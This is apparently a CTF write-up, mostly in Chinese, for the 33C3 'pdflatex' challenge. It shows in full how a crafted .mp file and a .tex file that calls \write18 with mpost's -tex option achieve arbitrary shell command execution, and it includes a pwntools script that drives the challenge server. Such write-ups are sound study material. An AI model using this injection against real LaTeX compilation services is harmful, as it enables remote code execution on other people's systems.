Info

Category: Misc
Point: 75
Author: bruce30262 @ BambooFox

Description: Just a tiny application, that lets the user write some files and compile them with pdflatex. What can possibly go wrong? nc 78.46.224.91 24242

Analyzing

根據題目給的原始碼,我們可以得知這是一個可以讓使用者進行讀寫以及編譯檔案的 service。

解題的過程中 mike 找到了一個有用的連結: Pwning coworkers thanks to LaTeX

簡單來說就是透過製作惡意的 .mp.tex 檔案,我們可以利用 pdflatext 在 compile 檔案的時候,透過執行 mpost 指令來達到執行任意 command 的效果。

Solution

基本上只要照著連結裡的方式做即可:

  1. create 一個惡意的 .mp
  2. create 一個惡意的 .tex 檔,將裡面的指令改為 (cat${IFS}$(ls|grep${IFS}33C3))>qqq.log。這行 command 會將 flag 的內容存到 qqq.log 裡頭
  3. 透過 Compile 惡意的 .tex 檔來執行我們的 command
  4. show qqq.log,得到 flag

final exploit:

sss.mp:

verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye

aaa.tex:

\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (cat${IFS}$(ls|grep${IFS}33C3))>qqq.log" "sss.mp"}
\end{document}

exp.py:

from pwn import *

r = remote("78.46.224.91", 24242)

log.info("creating sss.mp...")
r.sendlineafter(">", "create mp sss")
r.recvline()
f = open("sss.mp", "r")
for line in f:
    r.sendline(line.strip())
r.sendline("\q")
f.close()

log.info("creating aaa.tex...")
r.sendlineafter(">", "create tex aaa")
r.recvline()
f = open("aaa.tex", "r")
for line in f:
    r.sendline(line.strip())
r.sendline("\q")
f.close()

r.sendlineafter(">", "compile aaa")
r.sendlineafter(">", "show log qqq")

r.interactive()

Don’t take LaTEX files from strangers!!

flag: 33C3_pdflatex_1s_t0t4lly_s3cur3!